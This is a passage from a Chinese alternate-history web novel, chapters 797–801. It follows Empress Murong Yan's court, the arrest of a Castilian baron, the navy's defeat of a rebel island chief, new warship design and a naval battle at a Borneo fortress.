“回陛下,”内侍低声道,“三日前,飞鱼三号快船传讯,于黑水洋以东八百里海域,发现不明舰队踪迹。船型巨大,帆装奇特,悬挂双头鹰旗帜。数量约十五艘。航向东南。飞鱼三号未敢靠近,正尾随监视。” “双头鹰,”慕容嫣凤眸微凝,“卡斯蒂利亚王旗。” 她走到书案前,猩红的朱笔蘸墨。 “传旨。” “密令东海巡防舰队,飞鱼三号继续尾随监视,保持距离,切勿暴露。另,调镇海、定远二舰,携破浪号,即刻拔锚,秘密前往黑水洋海域策应。以护航商队为名,实为警戒。若遇西洋舰队挑衅,可示警驱离,若其率先攻击则击沉!” “密令南洋都护王允,西洋商船费迪南德,及其随行人员,严密监控。凡有异动,即刻锁拿。丁香屿土王巴图鲁若至泉州,秘密控制,不得使其与费迪南德接触。着绣衣卫,全力追查毒蝎下落及翡翠岛动向。” “密令焚雷司楚惜灵,西洋火器、舰船情报,列为最高优先级。凡有缴获或观测所得,即刻分析上报。” 旨意传出,由绣衣卫飞鹰携密令,分赴泉州、东海。 慕容嫣放下朱笔,缓步走回海图前。 月光透过窗棂,洒在她月白的衣袂上,清冷如霜。 第797章 魔鬼降临 泉州港的夜色被火把与玄甲士兵的寒光撕裂。 “金羊毛号”商船被数十艘水师快船团团围住,黑洞洞的火铳炮口对准船舷。 绣衣卫缇骑如鹰隼般跃上甲板,直扑船舱。 费迪南德男爵的金发在混乱中格外醒目,他试图冲向船尾小艇,却被两名缇骑死死按在甲板上,华丽的紧身外套沾满污渍。 “费迪南德男爵,”绣衣卫闽越千户严锋玄色劲装,缓步踏上甲板,声音冷硬如铁,“你涉嫌勾结南洋土王,煽动叛乱,走私军械,违禁交易。奉南洋都护府令,即刻锁拿!” “污蔑!这是污蔑!”费迪南德挣扎着,碧眼中满是愤怒与惊恐,“我是卡斯蒂利亚王国男爵!你们无权” “在大乾疆域,触犯大乾律法,便是罪人。”严锋打断他,目光扫过被押解上来的几名心腹船员和瑟瑟发抖的达雅克向导“毒蝎”, “带走!” “毒蝎”面如死灰,看到严锋冰冷的目光,浑身一颤,瘫软在地。 与此同时,泉州港一处僻静客栈内。 丁香屿土王巴图鲁肥胖的身躯被数名绣衣卫缇骑堵在客房角落,面无人色。 “巴图鲁土王,”一名绣衣卫百户声音平淡,“奉都护府令,请您暂居泉州,配合调查。” “我,我什么都没做。”巴图鲁声音颤抖。 “翡翠岛黑石勾结西洋,图谋不轨。土王陛下此时秘密离岛,意欲何为。”百户目光如刀。 巴图鲁冷汗涔涔,瘫坐在地,再也说不出话。费迪南德的许诺与翡翠岛的威胁,在帝国的铁腕面前,化为泡影。 南洋,翡翠岛。 海浪猛烈拍打着嶙峋的礁石。 土王“黑石”魁梧的身躯立在粗糙的瞭望台上,黝黑的脸上刺青狰狞,眼中闪烁着野性的凶光。 他身后,数百名手持崭新十字钢剑、肩扛卡斯蒂利亚火铳的翡翠岛武士,正嗷嗷叫着,准备登船。 几艘抢来的大乾商船被改装成战船,船舷加装了简陋的护板。 “勇士们!”黑石高举一柄西洋钢剑,声音嘶哑,“丁香屿的懦夫巴图鲁,已经吓破了胆!西洋朋友给了我们最锋利的刀剑,最厉害的火铳!今天,就踏平丁香屿!抢光他们的丁香!杀光他们的男人!女人和财宝,都是你们的!” “吼——!”海盗武士们发出野兽般的嚎叫,挥舞着武器,涌向船只。 船队刚驶离翡翠岛港湾,前方海面突然出现三艘造型奇特的快船! 船身狭长,帆桅高耸,正是大乾水师新锐“飞鱼级”快船——“海燕号”、“海鹰号”、“海隼号”! “是大乾水师!”瞭望的海盗惊呼。 “怕什么!”黑石狞笑,“我们也有火铳!冲过去!打沉他们!” 翡翠岛船队仗着船多势众,加速冲来!海盗们纷纷举起火铳,准备射击。 “海燕号”舰桥上,焚雷司特遣队指挥官冷静下令:“目标,敌首船。焚天雷高爆弹,一发试射。” “是!” “轰!” 一声闷响!一枚黝黑的弹丸划破空气,精准地落在黑石所在的旗舰船头前方十丈处! “轰隆——!” 震天动地的巨响! 海面猛地炸开一团直径数十丈的巨大水柱! 狂暴的冲击波将旗舰船头狠狠掀起! 海水如同暴雨般倾泻而下! 甲板上的海盗被震得东倒西歪,火铳脱手,惨叫声一片! 黑石死死抓住船舷,才没被掀飞! 他骇然看着那冲天水柱,眼中凶光被难以置信的恐惧取代! “那是什么,魔鬼吗?” “目标,敌船队左翼。燃烧弹,覆盖射击。” 海燕号指挥官声音依旧平稳。 “轰!轰!轰!” 三艘“飞鱼级”快船侧舷炮位齐鸣! 数十枚拖着火焰尾迹的弹丸呼啸而出! “轰隆!轰隆!轰隆!” 翡翠岛船队左翼瞬间陷入一片火海! 燃烧弹爆开,粘稠的火油四溅,附着在船帆、甲板、海盗身上猛烈燃烧! 凄厉的惨嚎响彻海面!海盗们惊恐地跳海逃生,船只相互碰撞,乱成一团! 黑石旗舰上,海盗们魂飞魄散,哭喊着调转船头,疯狂逃向翡翠岛! 什么丁香屿,什么财宝女人,在毁天灭地的炮火面前,都成了笑话。 “海燕号”舰桥上,指挥官放下千里镜:“目标溃散。停止射击。通告翡翠岛,限黑石三日内,交出所有西洋军械及使者,至泉州都护府请罪。否则玉石俱焚!” 冰冷的话语,通过扩音铜管,回荡在海面上,也狠狠砸进逃回岛上的黑石心中。 他瘫坐在泥泞的海滩上,看着海面上那三艘如同死神般的快船,浑身冰冷。 卡斯蒂利亚的火铳,在焚天雷面前,如同孩童的玩具。 东海深处,“黑水洋”。 铅灰色的天空低垂,海风带着咸腥的寒意。大乾水师“镇海”、“定远”两艘铁甲巨舰,如同沉默的钢铁堡垒,拱卫着新锐的“破浪号”,呈品字形列阵。 玄色蟠龙旗在桅顶猎猎作响。 对面数里外,十五艘悬挂双头鹰旗帜的卡斯蒂利亚战舰,如同漂浮的城堡,排成战斗队形。 高大的船楼,密集的炮窗,散发着沉重的压迫感。 “破浪号”舰桥上,林臻玄色大氅,身姿挺拔如松。 他深邃的眼眸透过千里镜,平静地扫视着西洋舰队。 旗舰“圣玛利亚号”船楼上,一名身着华丽军服、佩戴绶带的西洋将领,也正举着单筒望远镜,观察着大乾舰队。 双方都没有升起战斗旗,也没有鸣炮示警,只有海浪的咆哮和海风的呜咽,在死寂中回荡。 “元帅,”水师提督赵猛低声道,“西洋舰队炮位已就绪但未装填” “他们在观察。”林臻声音低沉,“观察破浪号。” “圣玛利亚号”上,阿尔瓦雷斯伯爵放下望远镜,眉头紧锁。 他从未见过如此造型的战舰:低矮流畅的船身覆盖着黝黑的钢板,巨大的三联装炮塔在舰体中部缓缓转动,炮口粗得惊人。 这与他认知中的东方船只截然不同。 “伯爵大人,”副官低语,“大乾舰队似乎在等待。” “等待什么?”阿尔瓦雷斯声音凝重,“等我们开火?还是等我们退让?” 他心中权衡。 这支舰队肩负着为卡斯蒂利亚王国开拓东方商路的使命,而非与一个未知的强大帝国全面开战。 费迪南德男爵的联络中断,翡翠岛的异动失败,眼前这支沉默而危险的舰队一切都超出了预计。 “传令,”阿尔瓦雷斯沉声道,“舰队左舵十五度,航向东南,保持距离继续观察。” “是!” 卡斯蒂利亚舰队庞大的身躯缓缓转向,谨慎地与大乾舰队拉开距离,却并未远离,如同盘旋的秃鹫。 “元帅,”赵猛请示,“是否追击?” “不必。”林臻放下千里镜,“保持阵型,监视其动向,传讯金陵西洋主力舰队,东海意图不明。” “是!” “破浪号”巨大的炮塔依旧锁定着远去的西洋舰队,冰冷的炮口在铅灰色的天空下,闪烁着无声的威慑。 东海的风浪,在两大帝国的无声对峙中,愈发汹涌。 金陵,御书房。 烛火将慕容嫣月白的身影投在巨大的西洋海图上。 内侍无声呈上三份急报:泉州锁拿费迪南德、控制巴图鲁;翡翠岛焚雷慑敌,黑石溃败;东海西洋舰队对峙,未战而退。 慕容嫣凤眸沉静,指尖在“翡翠岛”与“黑水洋”之间轻轻划过。 “费迪南德巴图鲁严加审讯口供速报” “翡翠岛黑石着南洋都护府遣使申饬限期缴械请罪逾期剿灭” “东海舰队”她目光落在“圣玛利亚号”的标记上,“西洋试探受挫然其心未死。” 她缓步走到书案前,猩红的朱笔蘸墨。 “传旨。” “其一,密令东海巡防舰队,西洋舰队动向,昼夜监视,详报其舰船形制、火炮配置、航行规律。镇海、定远、破浪三舰,轮换巡弋,保持威慑。非受攻击,不得开火。” “其二,着令礼部,遴选精通西洋语言、熟知外务之干员,筹建西洋通译馆。搜集卡斯蒂利亚王国及西洋诸国风土人情、律法制度、军力虚实。” “其三,密令焚雷司楚惜灵,西洋主力舰船观测所得,列为最高机密,即刻分析。破浪级后续舰建造,加速推进。新式穿甲爆破弹、燃烧弹,扩大产能。” “其四,”慕容嫣笔锋微顿,凤眸中闪过一丝锐利,“通告户部、工部,泉州镇南港二期工程、南洋移民屯垦、婆罗洲要塞营建,预算追加三成。国库开源节流务必保障!” 旨意传出。 慕容嫣立于海图前,月白衣袂在烛光下流淌着清冷的光泽。 翡翠岛的烽烟暂熄,东海的巨舰徘徊。 第798章 你的价值在于你所知的情报 东海,“黑水洋”。 铅灰色的天空低垂,海风卷起冰冷的浪沫,抽打在钢铁舰体上,发出沉闷的声响。 大乾水师“镇海”、“定远”、“破浪”三艘巨舰,如同三座沉默的钢铁堡垒,呈品字形锚泊在深水区。 玄色蟠龙旗在凛冽的海风中猎猎作响。 数里之外,卡斯蒂利亚远东舰队旗舰“圣玛利亚号”率领的十五艘战舰,如同漂浮的阴影,保持着若即若离的距离。 双方炮窗紧闭,战斗旗未升,唯有桅杆上的观测哨,如同警惕的鹰隼,透过千里镜,无声地注视着对方的一举一动。 “破浪号”舰桥内,林臻玄色大氅,身姿挺拔如松。 他深邃的眼眸透过高倍千里镜,平静地扫视着西洋舰队的阵列。 卡斯蒂利亚战舰船楼高耸,帆装繁复,密集的炮口在阴沉的天空下闪烁着幽暗的光泽。 旗舰“圣玛利亚号”船楼上,卡斯蒂利亚远东舰队司令阿尔瓦雷斯伯爵的身影清晰可见,他同样举着单筒望远镜,目光牢牢锁定在“破浪号”那低矮流畅、覆盖着黝黑钢板的奇异舰体上,尤其是舰体中部那座巨大的三联装炮塔。 “元帅,”水师提督赵猛低声道,“西洋舰队已锚泊三日无异动,但观测哨报告,其小型快艇频繁往来各舰,似在传递指令。” “他们在评估,”林臻声音低沉,“评估破浪号评估我水师战力。” “是否示警驱离?”赵猛问。 “不必。”林臻放下千里镜,“保持静默,保持威慑,传令各舰轮换休整,炮位值守人员不得松懈。” “是!” “圣玛利亚号”上,阿尔瓦雷斯伯爵放下望远镜,眉头紧锁。 他从未见过如此战舰。低矮的舰身减少了受弹面积,覆盖的钢板显然防御力惊人。 那巨大的炮塔,口径远超他舰队中任何一门火炮。 更令他不安的是,对方那种沉静如渊、不动如山的气势。 三日对峙,对方舰员训练有素,阵列严整,没有丝毫慌乱。 这绝非他印象中东方国家的海军。 “伯爵大人,”副官递上一份刚译出的信鸽密报,“费迪南德男爵在泉州被大乾官府秘密逮捕,罪名勾结土王煽动叛乱。” 阿尔瓦雷斯脸色一沉:“翡翠岛那边?” “翡翠岛土王黑石遭遇大乾水师攻击损失惨重现已投降交出所有军械。” 阿尔瓦雷斯沉默片刻,眼中闪过一丝凝重:“命令舰队,右舵十度航向正南目标,香料群岛外围锚地保持一级戒备继续观察。” “是!” 卡斯蒂利亚舰队庞大的身躯缓缓启动,调整航向,谨慎地与大乾舰队拉开更远的距离,却并未远离,如同在风暴边缘徘徊的巨兽。 无形的压力,在冰冷的海面上弥漫。 金陵,御书房。 烛火在巨大的西洋海图上投下摇曳的光影。 慕容嫣月白常服,乌发松松绾起,仅簪白玉凤簪,清丽的面容在烛光下更显沉静。 内侍无声呈上东海舰队急报:西洋舰队转向南移,意图不明;泉州绣衣卫密报:费迪南德男爵初步审讯口供,供认卡斯蒂利亚王国意图在南洋建立永久据点,控制香料贸易。 慕容嫣凤眸沉静,指尖在“香料群岛”的位置轻轻一点。 “卡斯蒂利亚野心不小。”她轻声自语。 泉州船厂,焚雷司核心工坊。 蒸汽弥漫,金属撞击声不绝于耳。楚惜灵清冷的脸上沾着油污,正伏在一张巨大的设计图纸上。 图纸上,一艘比“破浪号”更加庞大、线条更加凌厉的巨舰轮廓已然成型,标注着“镇海级”字样。 舰体装甲厚度增加一寸,主炮塔升级为四联装,炮口口径更大,炮管更长。 “主炮后坐力倍增。”一名工程师指着图纸上的炮塔基座,“现有液压缓冲系统恐不足。” “设计新型多级复合液压阻尼器。”楚惜灵提笔,在图纸上勾勒出复杂的内部结构,“采用硫化橡胶叠层缓冲配合高压油液回路。” “航速,”另一名工程师道,“镇海级吨位大增现有蒸汽轮机功率恐难以支撑。” “格物院新研高压过热蒸汽技术。”楚惜灵指向另一份图纸,“提升锅炉压力及蒸汽温度可提升效率三成,配合新型螺旋桨设计,航速可维持在十五节。” “新式穿甲弹弹头材质。”第三名工程师递上一份报告,“经分光镜析验,西洋舰船侧舷装甲含碳量较高,但韧性不足,建议采用钨钢合金弹头辅以被帽设计。” “可行。”楚惜灵颔首,“样品试制测试。” 工坊一角,几名工匠正小心翼翼地操作着一台新组装的、更加精密的“显微水晶镜”,分析着从“金羊毛号”上缴获的几块西洋船用木材样本。 另一角,格物院学徒正对照着费迪南德船上搜出的残缺海图,试图拼凑出更完整的西洋航道图。技术的种子,在无声的钻研中,悄然生根发芽。 泉州港,“番坊”深处,一座由绣衣卫严密看守的独立院落。 这里曾是市舶司接待高级外商的驿馆,如今成了费迪南德男爵的囚笼。 房间陈设依旧精致,却隔绝了外界的喧嚣。 费迪南德金发散乱,华丽的紧身外套换成了素色棉袍,碧眼中昔日的傲慢被焦躁与不甘取代。 绣衣卫闽越千户严锋端坐在他对面,面前摊开着一份长长的口供笔录。 “男爵阁下,”严锋声音平淡无波,“关于卡斯蒂利亚王国在新大陆的殖民据点,以及通往东方的香料航线,你似乎还有所保留。” 费迪南德眼神闪烁:“我已经说了很多你们不能这样对待一位贵族。” “贵族?”严锋嘴角勾起一丝冰冷的弧度,“在大乾触犯律法便是囚徒,你的价值在于你所知的情报,而非你的头衔。” 他轻轻推过一张纸,上面画着“圣玛利亚号”的简易轮廓:“比如这艘船的龙骨结构主炮的装填方式,或者阿尔瓦雷斯伯爵的舰队补给点。” 费迪南德看着那熟悉的船型,身体微微一颤。 他知道,对方的情报网络,远比他想象的更可怕。 “我需要保证,”他声音嘶哑,“保证我的安全和自由。” “那要看你的诚意,”严锋声音低沉,“以及你提供情报的价值。” 房间内陷入沉默,只有烛火摇曳的微响。 费迪南德望着窗外高墙切割出的狭窄天空,心中挣扎。帝国的囚笼,正一点点挤压着他最后的筹码。 南洋,翡翠岛。 昔日的喧嚣与凶悍荡然无存。 简陋的码头旁,几艘被焚毁的海盗船残骸半沉在水中,焦黑的木料散发着刺鼻的气味。 土王“黑石”赤着上身,背负荆棘,跪在新建的“南洋都护府翡翠分署”衙门前。 他黝黑的脸上刺青依旧狰狞,眼神却只剩下恐惧与臣服。 身后,一群垂头丧气的武士抬着收缴的西洋钢剑、火铳,堆放在衙门前。 新任翡翠分署署长一身青色官袍,立于台阶之上,声音肃穆:“翡翠岛土王黑石,勾结外敌,劫掠商旅,抗拒王化,罪在不赦!然念其迷途知返,主动缴械请罪,女帝陛下仁德,特赦其死罪!着令,翡翠岛即日起,归南洋都护府直辖!设巡检司,驻军五百!清剿残匪,推行教化!凡有再犯,立斩不赦!” “谢陛下隆恩。”黑石以头触地,声音颤抖。 远处海面上,“海燕号”快船静静停泊,黝黑的炮口在阳光下泛着冷光。 丁香屿土王巴图鲁远远看着这一幕,肥胖的身躯不由自主地颤抖。 他庆幸自己还未铸成大错,更恐惧帝国的雷霆手段。 他转身,对着心腹侍卫低吼:“传令!岛上所有丁香林重新丈量登记赋税按新章缴纳一颗豆蔻都不许私藏。” 第799章 给我纸笔 东海,“黑水洋”。 铅灰色的海天之间,大乾水师“镇海”、“定远”、“破浪”三艘巨舰如同沉默的钢铁岛屿,锚链深深扎入冰冷的海水。 数里之外,卡斯蒂利亚远东舰队旗舰“圣玛利亚号”庞大的身影,率领着十余艘战舰,如同徘徊的阴影,缓缓向南移动,航向指向遥远的香料群岛外围。 双方舰队的观测哨,透过千里镜冰冷的镜片,无声地交换着警惕的目光。海风呜咽,浪涛翻涌,在这片空旷的海域,一场无声的角力在距离与静默中持续。 “破浪号”舰桥上,林臻玄色大氅的下摆在寒风中微微拂动。 他放下手中的高倍千里镜,深邃的目光投向那片逐渐远去的西洋帆影。 “航向正南目标香料群岛外围锚地。”水师提督赵猛低声汇报着观测哨的判断,“他们在寻找落脚点。” “落脚点,”林臻声音低沉,“也是观察点。” 他转身,目光扫过舰桥内严阵以待的军官们。“保持阵型锚泊待命。飞鱼三号、飞鱼五号前出,保持二十里距离,轮换监视。记录其航速、队形变化、旗语信号。非受攻击,不得靠近其五里之内。” “是!”传令兵迅速将命令传达下去。 “元帅,”赵猛眼中闪过一丝忧虑,“香料群岛岛屿众多水道复杂,若被其占据一岛建立据点……” “无妨。”林臻目光沉静,“南洋都护府水师已加强巡防,婆罗洲要塞亦在增兵他们敢登岛便是自投罗网。” 他再次望向西洋舰队消失的方向。“他们在试探我底线,也在等待时机传讯金陵详报动向。” “是!” 泉州船厂,焚雷司核心工坊。灼热的气浪混合着蒸汽与金属的气息扑面而来。 巨大的熔炉内,炽白的铁水翻滚沸腾,发出低沉的咆哮。 楚惜灵清冷的脸上映照着炉火的红光,额角渗出细密的汗珠,目光却一瞬不瞬地盯着熔炉旁一组复杂的模具。 “温度达标成分检测合格。”工程师盯着仪表,声音嘶哑。 “浇铸!”楚惜灵声音平稳,却带着不容置疑的力量。 沉重的闸门开启! 炽热的铁水如同熔岩般奔涌而出,注入巨大的、刻满复杂纹路的砂型模具中! 嗤嗤的白气升腾,空气中弥漫着刺鼻的硫磺与金属气味。 “冷却系统启动!”工程师大吼。 冰冷的循环水通过预埋的管道,迅速包裹住炽热的模具。剧烈的温差下,模具发出细微的呻吟。所有人都屏住呼吸,等待着。 时间一分一秒过去。当模具温度降至安全范围,吊车缓缓吊起沉重的上模。 “成了!”一名年轻工匠忍不住低呼。 模具中央,一根粗壮、黝黑、泛着金属冷光的巨大主轴静静躺着,表面布满了精密铸造出的齿轮咬合槽与加强筋。 这正是为“镇海级”巨舰主炮塔旋转机构特制的核心承重部件。 楚惜灵走上前,指尖拂过冰冷的主轴表面,感受着那均匀致密的纹理。 “无损探伤。”她吩咐。 几名工匠立刻上前,用特制的“声波探锤”仔细敲击主轴各处,侧耳倾听回音。 又用“磁粉探伤仪”涂抹特殊磁粉,检查细微裂纹。 “报告大人!无裂纹!无气孔!结构致密!”工匠的声音带着兴奋。 楚惜灵微微颔首,清冷的眼眸中闪过一丝不易察觉的微光。 她走到另一处工作台。台上,一枚新式穿甲弹的弹头样品静静放置。弹头呈流线型,材质并非纯钢,而是一种泛着暗哑光泽的合金,尖端镶嵌着更坚硬的钨钢帽。 “钨钢被帽穿甲弹,”她拿起弹头,掂了掂分量,“圣玛利亚号的侧舷装甲能挡住几发?” 工坊角落,几名格物院学徒正围着一台改进后的“显微水晶镜”,分析着一块从西洋火铳上切割下来的熟铁样品。 镜片下,铁中硫、磷杂质形成的网状脆性结构清晰可见。 另一名学徒则在飞快地记录着西洋自鸣钟擒纵机构改良模型的运行数据,齿轮咬合的声音清脆而稳定。 技术的壁垒,在汗水与火光中,被一寸寸凿穿。 泉州港,“番坊”深处,那座守卫森严的独立院落。 房间内,烛火摇曳。费迪南德男爵金发黯淡,碧眼深陷,往日华丽的紧身外套换成了素色棉袍,坐在雕花木椅上,手指无意识地敲击着桌面。 对面,绣衣卫闽越千户严锋,玄色劲装,神色平静,如同冰冷的岩石。 桌上,摊开着一幅根据费迪南德口述、由画师绘制的粗略海图,上面标注着几个卡斯蒂利亚王国在新大陆的重要殖民据点,以及一条从新大陆绕过风暴角通往香料群岛的、被称作“香料航线”的虚线。 “男爵阁下,”严锋声音低沉,“香料航线的详细海图季风规律补给点位置,你似乎还有所保留。” 费迪南德眼神闪烁:“这是王国最高机密。” “机密?”严锋嘴角勾起一丝冰冷的弧度,“圣玛利亚号的龙骨结构算不算机密?阿尔瓦雷斯伯爵的旗舰吃水多少主炮射程几何?装填需要几息?” 费迪南德身体猛地一僵。对方的问题,精准地刺向他所知的要害。 “我需要保证,”他声音嘶哑,“保证我和我的人安全离开。” “安全离开?”严锋目光如刀,“你勾结土王,煽动叛乱,走私军械,按大乾律足够绞死十次。你的价值在于你脑子里的东西吐干净,或许能换一条活路在大乾的监狱里。” 费迪南德脸色瞬间惨白。 他猛地站起,又颓然坐下,双手捂住脸。 许久,他抬起头,眼中是绝望的挣扎。 “给我纸笔。” 严锋示意,一名缇骑将纸笔放在他面前。 费迪南德颤抖着手,开始在海图上添加更详细的标记:季风交替的时间,几个隐秘的淡水补给岛礁的位置,一处卡斯蒂利亚设在香料群岛外围的秘密小型修理点的坐标他写得很慢,每一笔都如同在剜自己的肉。 严锋静静地看着,冰冷的眼神中没有任何波澜。 他知道,这只是开始。这个西洋贵族,为了活命,会一点点吐出他所知道的一切。 帝国的囚笼,正缓缓收紧。 南洋,翡翠岛。 新建的“南洋都护府翡翠巡检司”衙署前,昔日的土王“黑石”赤着上身,背负的荆棘早已取下,但黝黑皮肤上留下的道道血痕依旧刺目。 他换上了一身粗布衣裳,正指挥着一群垂头丧气的原武士,搬运着石块木材,修建通往新驻军营地的道路。 不远处,一队玄甲士兵手持火铳,面无表情地监视着。 “快点!磨蹭什么!”黑石吼了一声,声音沙哑,却没了往日的凶悍,只剩下疲惫与认命。 他抬头望向港口方向,那里停泊着两艘“飞鱼级”快船,黝黑的炮口在阳光下泛着冷光。 他想起那日海面上冲天而起的烈焰水柱,身体不由自主地打了个寒颤。 一名巡检司小吏拿着簿册走来:“黑石,今日石料运送数目,核对一下。” “是。”黑石连忙躬身,小心翼翼地核对。 远处山坡上,丁香屿土王巴图鲁肥胖的身影在一群护卫簇拥下,正“巡视”着他的丁香林。 他脸上堆着谦卑的笑容,对陪同的巡检司官员点头哈腰:“大人您看,这片林子今年收成一定好,赋税一定按时足额缴纳。” 他心中却充满了恐惧。 翡翠岛的下场就在眼前。他暗中庆幸自己没有像黑石那样彻底倒向西洋人,但也深知,自己私下收受费迪南德贿赂的事情,未必能瞒过绣衣卫的眼睛。 他现在只想拼命表现,用忠诚和赋税来换取平安。 海风吹过,带来丁香馥郁的香气,也带来一丝不易察觉的铁锈与硝烟的味道。 第800章 那一抹金凤 金陵,紫宸殿。暴雨如注,豆大的雨点猛烈敲击着琉璃瓦,汇成浑浊的水流从飞檐倾泻而下,在殿前金砖地面砸出无数跳跃的水花。 殿内鲸烛高燃,却驱不散暴雨带来的阴沉。 慕容嫣端坐御座,明黄织金凤袍在烛火下流淌着耀眼的金芒,袍身百凤穿云纹随着她的呼吸微微起伏,如同活物。 长达两丈的拖尾如金色河流铺陈在御阶,边缘已被殿门缝隙渗入的雨水浸湿,深色的水渍在璀璨金线上缓缓蔓延。 “报——!”殿外传来嘶哑的喊声,穿透雨幕。 一名传令兵浑身湿透,泥浆裹腿,踉跄扑入殿中,在御阶前重重叩首:“陛下!东海八百里加急!” 内侍总管疾步上前,接过被油布包裹的竹筒,验过火漆,呈于御案。 慕容嫣凤眸沉静,指尖挑开竹筒封泥,抽出浸着水汽的绢书。 目光扫过,殿内空气骤然凝固。绢书上寥寥数语,却字字千钧:“西洋舰队主力十五舰,绕行魔鬼角,突袭婆罗洲要塞!要塞外围三处炮台被毁!守军伤亡惨重!镇海号驰援途中遭伏击,舰体受损!” 死寂。 唯有殿外暴雨的轰鸣。 慕容嫣缓缓放下绢书。明黄凤袍下的身躯挺直如松,烛光映着她清丽绝伦却冷若冰霜的侧脸。她抬眸,目光穿透雨幕,仿佛直视东海的血火。 “林臻何在。”她声音清越,穿透雨声。 “回陛下,”内侍总管躬身,“殿下在军机堂调度城防。” “传。”慕容嫣声音不高,却带着不容置疑的威压。 片刻,林臻玄色蟠龙常服,肩头微湿,大步踏入殿中。 他目光扫过慕容嫣手中绢书,深邃的眼眸瞬间锐利如刀。 “夫君,”慕容嫣将绢书递过,“婆罗洲危矣。” 林臻迅速阅过,眉峰紧锁:“魔鬼角水道险恶西洋人竟敢强闯必有内应。” “内应当诛,危局当解。”慕容嫣起身,明黄凤袍拖尾扫过御阶积水,发出沉重而清晰的“沙沙”声。 她行至殿中悬挂的巨大羊皮海图前,指尖点向婆罗洲要塞,又划向魔鬼角。 “传旨。”她声音清晰,字字如铁。 “其一,南洋水师剩余定远、破浪二舰,即刻放弃原定巡弋,全速驰援婆罗洲!不惜代价,突破封锁,接应要塞守军!” “其二,焚雷司泉州库存所有焚天雷链弹、燃烧弹,火速装船,由飞鱼级快船队护送,直发婆罗洲!着令要塞守将,待援军至,以焚天雷覆盖射击,焚敌舰,断其退路!” “其三,”她凤眸转向林臻,寒光凛冽,“金陵九门提督,绣衣卫指挥使,即刻听你号令!彻查金陵至沿海所有驿站、码头、商行!凡有通敌嫌疑,传递消息者,无论官职,立斩!悬首城门!婆罗洲之败,内鬼不除,此恨难消!” “遵旨!”林臻抱拳,玄色身影带着凛冽杀气,转身没入殿外暴雨之中。 婆罗洲外海,硝烟弥漫,火光冲天。 暴雨稍歇,海面漂浮着破碎的船板、焦黑的帆布和肿胀的尸体。卡斯蒂利亚舰队“圣玛利亚号”为首的十五艘战舰,正以密集炮火轰击着伤痕累累的婆罗洲要塞。 要塞外围炮台已成废墟,石墙崩塌,守军在残垣断壁间浴血奋战。 “伯爵!东北方发现敌舰!”瞭望哨嘶声尖叫。 阿尔瓦雷斯伯爵望远镜中,大乾“定远”、“破浪”二舰巨大的身影劈开浪涛,如同愤怒的钢铁巨兽,全速冲来! 舰首“焚天神雷”主炮炮口森然! “左满舵!炮火转向!拦住他们!”阿尔瓦雷斯厉吼。 西洋舰队侧舷炮火齐鸣!弹雨如蝗,砸向“定远”、“破浪”! “轰!轰!轰!” “定远号”舰首中弹,装甲板扭曲变形,但速度不减!“破浪号”三联装主炮塔缓缓转动,黑洞洞的炮口锁定“圣玛利亚号”! “开火!”舰长怒吼。 “轰——!!!” 震天巨响!三枚沉重的穿甲爆破弹撕裂空气!阿尔瓦雷斯瞳孔骤缩! “规避!”他嘶吼! “轰隆!轰隆!轰隆!” 两弹落空,激起冲天水柱!一弹狠狠砸在“圣玛利亚号”右舷水线附近!剧烈的爆炸!钢甲撕裂!海水疯狂涌入! “报告损伤!”阿尔瓦雷斯踉跄扶住船舷。 “右舷破口三处进水严重!”水手长嘶喊。 “堵漏!快!”阿尔瓦雷斯目眦欲裂。他望向要塞,眼中凶光更盛:“全力进攻要塞!拿下它!我们才有立足之地!” 西洋舰队不顾损伤,炮火更加疯狂地倾泻向摇摇欲坠的要塞! 婆罗洲要塞,指挥塔已塌了一半。 守将浑身浴血,左臂无力垂下,右手紧握崩口的战刀。 他看着海面上与西洋舰队缠斗的“定远”、“破浪”,又看看要塞下如潮水般涌来的西洋登陆部队,眼中一片血红。 “将军!快看!”亲兵指向西南海面。 数艘“飞鱼级”快船如同离弦之箭,冲破硝烟,直抵要塞后方简易码头! “是焚雷司的弹药!”亲兵声音颤抖。 守将眼中爆发出最后的光芒:“焚雷卫!上炮位!链弹!燃烧弹!装填!目标西洋舰队后方给我断他们退路!” 残存的炮位上,焚雷卫士兵不顾流矢,疯狂操作。特制的链弹(两枚炮弹以铁链连接)填入炮膛,燃烧弹引信点燃! “放!” “轰!轰!轰!” 链弹呼啸而出!在空中旋转飞舞! 铁链狠狠抽打在西洋舰队后方几艘护卫舰的桅杆上! 咔嚓!咔嚓! 粗大的桅杆应声断裂!船帆轰然倒塌!战舰瞬间失去动力,在海面打横! 燃烧弹紧随而至!精准地落在失去动力的敌舰甲板上! “轰!” 烈焰冲天!粘稠的火油四溅!西洋水兵惨叫着变成火人!战舰化作漂浮的火棺! “圣玛利亚号”上,阿尔瓦雷斯看着后方陷入火海的舰队,脸色惨白如纸。退路被断了! “伯爵!定远号冲过来了!”副官尖叫。 “定远号”舰首虽伤痕累累,却以决死之势,直撞向“圣玛利亚号”侧舷!舰首狰狞的撞角,在火光中闪烁着死亡的寒光! “不——!”阿尔瓦雷斯绝望嘶吼。 紫宸殿。 暴雨已停,残月如钩。 慕容嫣依旧立于海图前,明黄凤袍在烛火下熠熠生辉,拖尾边缘的水渍已干,只留下淡淡的痕。 内侍无声呈上最新战报:婆罗洲要塞未失,“定远”、“破浪”重创西洋舰队,“圣玛利亚号”遭“定远”撞击重创,阿尔瓦雷斯伯爵率残部溃逃,退路被焚毁舰船阻塞,困守“魔鬼角”附近荒岛。 慕容嫣凤眸沉静,指尖在“魔鬼角”荒岛的位置轻轻一点。 “困兽犹斗。”她声音清冷。 她转身,走向御案。凤袍拖尾扫过光洁的金砖,发出细微而清晰的沙沙声。猩红的朱笔蘸满浓墨。 “传旨。” “南洋水师,清扫战场,修复舰船,封锁魔鬼角海域。困岛之敌,断其粮水,逼其投降。” “焚雷司,即刻研制新式水雷,布于魔鬼角水道。西洋援军若至,葬身海底。” “兵部,擢升婆罗洲守将为镇海将军,赐金甲。阵亡将士,三倍抚恤,立祠祭奠。” “另,”她笔锋一顿,凤眸中寒光流转,“林臻所查内鬼,无论涉及何人,三日后,西市口,明正典刑。本宫,要亲临观刑。” 旨意落定,朱砂未干。 慕容嫣放下笔,望向殿外渐明的天色。 明黄凤袍上的金凤,在晨曦微光中,振翅欲飞。 一场风暴暂歇,但东海的血色,远未洗净。 帝国的金凤,羽翼已张,静待下一场雷霆。 第801章 断其狗退路 金陵城笼罩在破晓前的青灰色中,紫宸殿内鲸烛燃至根部,烛泪堆叠如赤色珊瑚。 